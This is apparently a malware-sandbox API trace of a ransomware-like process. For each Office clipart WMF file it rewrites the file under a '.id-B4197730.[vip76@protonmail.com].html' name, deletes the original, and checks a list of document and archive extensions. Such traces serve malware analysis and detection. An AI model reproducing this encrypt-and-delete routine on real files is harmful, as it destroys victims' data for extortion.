	[0189.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.322] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=11216) returned 1
	[0189.322] CloseHandle (hObject=0x5ac) returned 1
	[0189.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220
	[0189.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.323] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.323] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0189.324] GetLastError () returned 0x0
	[0189.324] ReadFile (in: hFile=0x5ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2bd0, lpOverlapped=0x0) returned 1
	[0189.326] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0189.327] ReadFile (in: hFile=0x5ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.327] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0189.327] SetEndOfFile (hFile=0x5c8) returned 1
	[0189.327] CloseHandle (hObject=0x5c8) returned 1
	[0189.328] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.328] SetEndOfFile (hFile=0x5ac) returned 1
	[0189.331] CloseHandle (hObject=0x5ac) returned 1
	[0189.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1
	[0189.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.339] lstrlenW (lpString=".doc") returned 4
	[0189.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.339] lstrlenW (lpString=".docx") returned 5
	[0189.339] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0189.339] lstrlenW (lpString=".pdf") returned 4
	[0189.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.339] lstrlenW (lpString=".xls") returned 4
	[0189.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.339] lstrlenW (lpString=".xlsx") returned 5
	[0189.339] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0189.339] lstrlenW (lpString=".ppt") returned 4
	[0189.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.339] lstrlenW (lpString=".zip") returned 4
	[0189.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.340] lstrlenW (lpString=".rar") returned 4
	[0189.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.340] lstrlenW (lpString=".bz2") returned 4
	[0189.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.340] lstrlenW (lpString=".7z") returned 3
	[0189.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.340] lstrlenW (lpString=".dbf") returned 4
	[0189.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.340] lstrlenW (lpString=".1cd") returned 4
	[0189.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.340] lstrlenW (lpString=".jpg") returned 4
	[0189.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.340] lstrlenW (lpString=".doc") returned 4
	[0189.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.340] lstrlenW (lpString=".docx") returned 5
	[0189.340] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0189.340] lstrlenW (lpString=".pdf") returned 4
	[0189.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.341] lstrlenW (lpString=".xls") returned 4
	[0189.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.341] lstrlenW (lpString=".xlsx") returned 5
	[0189.341] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0189.341] lstrlenW (lpString=".ppt") returned 4
	[0189.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.341] lstrlenW (lpString=".zip") returned 4
	[0189.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.341] lstrlenW (lpString=".rar") returned 4
	[0189.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.341] lstrlenW (lpString=".bz2") returned 4
	[0189.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.341] lstrlenW (lpString=".7z") returned 3
	[0189.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.341] lstrlenW (lpString=".dbf") returned 4
	[0189.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.341] lstrlenW (lpString=".1cd") returned 4
	[0189.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0189.341] lstrlenW (lpString=".jpg") returned 4
	[0189.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.341] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0189.342] lstrlenW (lpString="J0102984.WMF") returned 12
	[0189.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.343] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=17040) returned 1
	[0189.343] CloseHandle (hObject=0x5ac) returned 1
	[0189.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220
	[0189.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.343] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.343] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0189.344] GetLastError () returned 0x0
	[0189.344] ReadFile (in: hFile=0x5ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x4290, lpOverlapped=0x0) returned 1
	[0189.347] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x42a0, lpOverlapped=0x0) returned 1
	[0189.348] ReadFile (in: hFile=0x5ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.348] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0189.349] SetEndOfFile (hFile=0x5c8) returned 1
	[0189.349] CloseHandle (hObject=0x5c8) returned 1
	[0189.349] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.349] SetEndOfFile (hFile=0x5ac) returned 1
	[0189.352] CloseHandle (hObject=0x5ac) returned 1
	[0189.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1
	[0189.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.354] lstrlenW (lpString=".doc") returned 4
	[0189.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.354] lstrlenW (lpString=".docx") returned 5
	[0189.354] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0189.354] lstrlenW (lpString=".pdf") returned 4
	[0189.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.354] lstrlenW (lpString=".xls") returned 4
	[0189.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.354] lstrlenW (lpString=".xlsx") returned 5
	[0189.354] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0189.477] lstrlenW (lpString=".ppt") returned 4
	[0189.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.477] lstrlenW (lpString=".zip") returned 4
	[0189.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.477] lstrlenW (lpString=".rar") returned 4
	[0189.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.477] lstrlenW (lpString=".bz2") returned 4
	[0189.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.477] lstrlenW (lpString=".7z") returned 3
	[0189.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.477] lstrlenW (lpString=".dbf") returned 4
	[0189.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.477] lstrlenW (lpString=".1cd") returned 4
	[0189.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.478] lstrlenW (lpString=".jpg") returned 4
	[0189.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.478] lstrlenW (lpString=".doc") returned 4
	[0189.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.478] lstrlenW (lpString=".docx") returned 5
	[0189.478] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0189.478] lstrlenW (lpString=".pdf") returned 4
	[0189.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.478] lstrlenW (lpString=".xls") returned 4
	[0189.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.478] lstrlenW (lpString=".xlsx") returned 5
	[0189.478] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0189.478] lstrlenW (lpString=".ppt") returned 4
	[0189.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0189.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.478] lstrlenW (lpString=".zip") returned 4
	[0189.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0189.478] lstrlenW (lpString=".rar") returned 4
	[0189.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0189.478] lstrlenW (lpString=".bz2") returned 4
	[0189.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0189.478] lstrlenW (lpString=".7z") returned 3
	[0189.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0189.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.478] lstrlenW (lpString=".dbf") returned 4
	[0189.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0189.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.479] lstrlenW (lpString=".1cd") returned 4
	[0189.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0189.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0189.479] lstrlenW (lpString=".jpg") returned 4
	[0189.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0189.479] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0189.479] lstrlenW (lpString="J0103812.WMF") returned 12
	[0189.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0190.046] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5908) returned 1
	[0190.046] CloseHandle (hObject=0x5e4) returned 1
	[0190.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220
	[0190.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4
	[0190.058] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.058] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0190.059] GetLastError () returned 0x0
	[0190.059] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1714, lpOverlapped=0x0) returned 1
	[0190.061] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1720, lpOverlapped=0x0) returned 1
	[0190.062] ReadFile (in: hFile=0x5e4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.062] WriteFile (in: hFile=0x574, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.062] SetEndOfFile (hFile=0x574) returned 1
	[0190.062] CloseHandle (hObject=0x574) returned 1
	[0190.063] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.063] SetEndOfFile (hFile=0x5e4) returned 1
	[0190.065] CloseHandle (hObject=0x5e4) returned 1
	[0190.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1
	[0190.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.067] lstrlenW (lpString=".doc") returned 4
	[0190.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.067] lstrlenW (lpString=".docx") returned 5
	[0190.067] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.067] lstrlenW (lpString=".pdf") returned 4
	[0190.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.067] lstrlenW (lpString=".xls") returned 4
	[0190.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.067] lstrlenW (lpString=".xlsx") returned 5
	[0190.067] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.067] lstrlenW (lpString=".ppt") returned 4
	[0190.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.067] lstrlenW (lpString=".zip") returned 4
	[0190.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.067] lstrlenW (lpString=".rar") returned 4
	[0190.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.067] lstrlenW (lpString=".bz2") returned 4
	[0190.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.067] lstrlenW (lpString=".7z") returned 3
	[0190.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.067] lstrlenW (lpString=".dbf") returned 4
	[0190.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.067] lstrlenW (lpString=".1cd") returned 4
	[0190.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.068] lstrlenW (lpString=".jpg") returned 4
	[0190.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.068] lstrlenW (lpString=".doc") returned 4
	[0190.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.068] lstrlenW (lpString=".docx") returned 5
	[0190.068] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.068] lstrlenW (lpString=".pdf") returned 4
	[0190.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.068] lstrlenW (lpString=".xls") returned 4
	[0190.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.068] lstrlenW (lpString=".xlsx") returned 5
	[0190.068] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.068] lstrlenW (lpString=".ppt") returned 4
	[0190.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.068] lstrlenW (lpString=".zip") returned 4
	[0190.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.068] lstrlenW (lpString=".rar") returned 4
	[0190.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.068] lstrlenW (lpString=".bz2") returned 4
	[0190.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.068] lstrlenW (lpString=".7z") returned 3
	[0190.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.068] lstrlenW (lpString=".dbf") returned 4
	[0190.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.069] lstrlenW (lpString=".1cd") returned 4
	[0190.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0190.069] lstrlenW (lpString=".jpg") returned 4
	[0190.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.069] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.069] lstrlenW (lpString="J0105234.WMF") returned 12
